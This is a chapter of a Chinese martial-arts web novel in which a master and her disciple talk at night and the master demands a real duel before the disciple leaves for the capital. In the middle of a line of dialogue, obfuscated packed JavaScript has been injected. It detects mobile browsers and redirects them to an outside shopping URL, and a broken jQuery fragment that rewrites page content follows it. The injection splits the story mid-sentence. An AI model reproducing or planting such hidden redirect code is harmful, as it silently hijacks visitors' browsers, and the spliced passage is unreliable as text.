四人说说笑笑闹闹,转眼竟已到了日落时分。莫流芳“啊”得一声挤住自己的脸:
“怎么时辰过得这般快,我还想去看看李子种在哪,鲜采的肯定更好吃。”
陈语白忍俊不禁,拉开莫流芳捧着脸颊的双手,缓声宽慰:
“好了,我们又不急着走,明日去摘也来得及。说起来师傅今日怎么睡这么久,我去瞧瞧。”
沈盈川怎会放过如此绝佳表现自我的机会,他当即架着沉舟的胳膊,跐溜站起身,向陈语白弯起一个明媚勃勃的笑容:
“你放心去,我和沉舟先去生火洗菜。小善人晚饭想吃什么?哦对了,还有莫小姑娘呢?这样这样,不如把翁前辈的喜好也与我说了吧,我和沉舟也好看着挑菜。”
被迫站起、正扭曲着姿势努力推开沈盈川胳膊的沉舟不由脸色变幻。午时他还在心中诽议公子人傻言呆,现在看来分明是再精明心机不过,居然以此为由探听人家师傅喜好,这算什么,提前讨好岳母吗?
沉舟不由反思,难道是他误会了公子,初见翁前辈时的拘谨紧张也是他刻意假作的,所图正是为了引得陈姑娘心疼注意?
正在沉舟一脸原来如此之时,木门吱呀一开,翁广名依旧青衣流飒,大步走出来:
“无碍,我早醒了,不过是听你们叽叽喳喳的不忍打搅,既然这位沈盈川沈公子已主动开口,那语白,你先带着流芳去采李子吧。现在日头未尽时间尚足,我有这两孩子帮忙就够了。”
沈盈川万万没虑及枝节横生,笑容一僵,只得立在原地,满脸萧瑟地维持好笑意,目送陈语白和莫流芳意满离去。事已至此,他只好重新抖擞起精神,争取在翁广名面前好好表现、赢得肯定。
晚饭依旧宾主尽欢。皓月如霜,繁星似撒,五人便乘着夜色于旷野漫步,兴至所起纵些闲语,话无可言便只是拂草迈步,东西南北,不需目标,也无需刻意,行至何处,便是何处。
待夜色深时,几人各回各屋,陈语白照料好莫流芳洗漱,便去敲了翁广名的屋子。门一打开,翁广名一手搭着门框,不减戏谑:
“小善人晚好,这是要与为师一解你前段时日游经何事之谜了?”
这次陈语白倒并不羞臊,板着脸把翁广名推开,自顾自在她窗边的椅子上坐下,给自己倒了杯热水:
“师傅你还没玩够?那你到底是想听,还是不想听?”
翁广名将手一松,合好门笑着摇头叹气走过来:
“你说你当年那么可爱一只糯米团子,怎么十多年一晃,就成了这般不识趣意的模样?也罢也罢,左右你也是我亲手教的,我翁广名责无旁贷。赶紧说罢,为师可对你的几个好友好奇得很。”
陈语白便也给她倒好水,指尖摸索着杯沿,将离家游离两月的所有见闻一一详述。前一月其实无甚特别,不过是攀山越峦、涉水穿河,遇到歹徒顺手绑了,碰见匪寨趁手拔了,浓墨渲讲的,是前些日子客栈一案。
翁广名也未曾想到爱徒出门一趟,还能遇此诡事;如此就算,依她描述,掺入其中的各个人物也是各有持重,直叫翁广名听得津津有味,恨不得手边再有盆瓜子花生,边嗑边赏。
等一切了束,翁广名意犹未尽:
“小善人还真是颇有因缘,恰逢这场雨,恰遇这几人,恰破这起案,不过…”
翁广名倾身揉乱陈语白的额发:
“正说明你所追不远,随行正途。你看,连老天奶都在助你成为一名明鉴秋豪、惩恶察疑的捕快。”
陈语白喜欢这句话,顾不得碎发遮了视线,先扬唇笑起来。
灯火招摇,清风偶过,连大黄这四只精力奇沛的狗狗都安安静静。翁广名看着眼前少年,心中百味交集。
十三年前,初见她时,她还未足膝盖,睁着圆溜溜的大眼,只知跟着她走走瞧瞧、咿咿呀呀;而今少年已立,她就坐在眼前,志向不改,武艺傍身,无一人不会相信,她已是顶天立地、壮途在筹。
翁广名的眼神前所未有的柔和,脱出口的话却叫陈语白浑身一冷:
“你远行前,我曾说过,若要我允你离家上京考捕快,你须得答应我三个条件,第一条便是独行云贵两个月,回来时平平安安,斗杀恶徒至少两人。现在你做到了,为师很欣慰,也很高兴。现下为师告诉你第二条:打败我。”
明火映在眼前人的眸底,陈语白喉头发涩,一时竟说不出话,润了润嗓子,才开口:
“打败你?是…点到即止吗?”
翁广名眯着眼摇摇头,言辞决确:
“不,用你的刀。我也会用我自己的刀,对峙那刻,我不是你的师傅,而是你生死相对、铲恶必尽的敌人。放心,我不会死,我也不会让你死的。”
她虽如此说,可陈语白却安不下心,握紧拳头,炯炯双眼直视于她:
“为何非要如此?就如你我平日留有余手不可吗?是,你是成名多年、武高震天的狂刀客,可你敢说你身子没暗伤?你教我多年,也明悉我如今的水准,若你我交手时倾尽己能,我也无法确言一句,我不会伤着你。对决后呢,我不在呢,你如今这个年纪,云贵又地偏医稀,我怎么放心,你叫我如何安心?”
翁广名看她气势冲冲,目光却更柔和,将自己方才把她拨乱的额发又细细整理好。陈语白抿着唇想把她的手拍开,又强忍往握紧拳头:
“我不同意。你…你非要如此,那我不去京城了。”
闻言,翁广名哭笑不得,却更知道自家爱徒打小的牛脾气,连连抬起双手:
“好好好,我不如此说了,那这样,你用你的刀,我用我的刀,你我之间不动内力,纯拼招式力气,如何?”
陈语白瞥她一眼,意思分外明显:您都年近五十了,如此老臂老腿,真比力气,难道就能无伤无碍比过我了?
“你这个逆徒。”
翁广名差点被气笑,理她头发的手一顿,转而一拍陈语白的额头:
“你这什么眼神?这不行,那不行,那你说如何?还能怎么打?”
陈语白哼一声,也知她不会同意,但还是硬着语气开口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495710|202490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:
“就如往常一样,你我一人一根竹棍,点到即止。”
话音一落,她额上的温热顿时撤了回去。翁广名则抱着胳膊,抬抬下巴:
“人家师傅那是说什么就是什么,哪像你,我说一句,你犟一句。不行,此法万万不行。若是还用竹棍,那这次考校有何意义?这话我只说一次,你想好了给我答案:你我必须各用自己的兵器,一是绝不手下留情,拼武功内力;或是只走招式,不用内力。除此二者外,不许再多言。”
说完觉得威慑不够,翁广名补了一句:
“你再叽歪,为师就要生气了。”
陈语白扯扯嘴角,嘟哝一句“吓小孩”,翁广名何等耳力,当即拉长了语调,哦了一声。陈语白别过眼闭上嘴,知事难斡旋,便垂睫沉思起来。
她自晓天负神力,师傅更是年数略高,纯对招式气力,师傅绝吃不到好;可若一拼内劲,以师傅修习经年累积,反更游刃有余。主意一定,陈语白叹口气:
“我选第一种。”
翁广名扬起大笑,捏住陈语白的脸颊轻轻晃晃:
“这就对了,加油哦小语白,你要相信,师傅希冀你能得偿所愿。人各行其路,路各有其坎。若是可以,为师也只望能做垫高你的阶梯,而非磨砺你的刀石。不用害怕,师傅会保护好自己的,你也要好好保护好自己,全力以赴,知道吗?”
陈语白抿起唇,说不清自己什么心情:许是不舍占主,许是感动更多,也许是此时此刻看亲人迟暮,一点一滴的怅惘终酿满了心房;也许是知晓自己将离家远行,不经累年难得回归,被这对前路的茫然一瞥侵满了心绪。
百种念头缠杂一处,她喉咙滚了滚,最终只是认真看着自己的师傅,她这打有明晰记忆起、便相依为命的师傅。好半晌,她才哑着嗓子:
“徒儿知道了。”
得了肯定,翁广名笑意更足,此时的她其实笑得一点也不潇洒,一点也不疏狂,可落在陈语白眼底,再不能更温暖,更贴情,更是翁广名。
于是她清清嗓子:
“师傅,您能不能告诉您那已十年栽培、舍身相助的徒儿,为何对她瞒了这么久您的过去,为何一直搪塞其词、不愿坦白?”
翁广名眼角褶皱都是一僵,别开眼:
“啊…看来你都知道啦,你那几个好友说的?哎呀,好困啊,你看这夜色已晚了,不如先去睡吧,明天我们再说,怎么样,怎么样?”
天色确实不早,但陈语白很难克制自己不露出谴责的眼神,翁广名趁热打铁:
“怎么啦小语白,不舍得师傅吗,要不要和师傅一起睡啊?你放心你放心,师傅肯定不是故意瞒你,你动身京城前肯定会告诉你。怎么样,爱徒,小祖宗,小善人,满意了没?”
陈语白也学着她之前抬抬下巴:
“那就说定了。听呼吸声,流芳已经睡了,那我们勉强挤一起,我要睡床外侧。”
翁广名还能提什么异议,当即脱了鞋子翻身躺进床内侧,掀着被子等陈语白过来。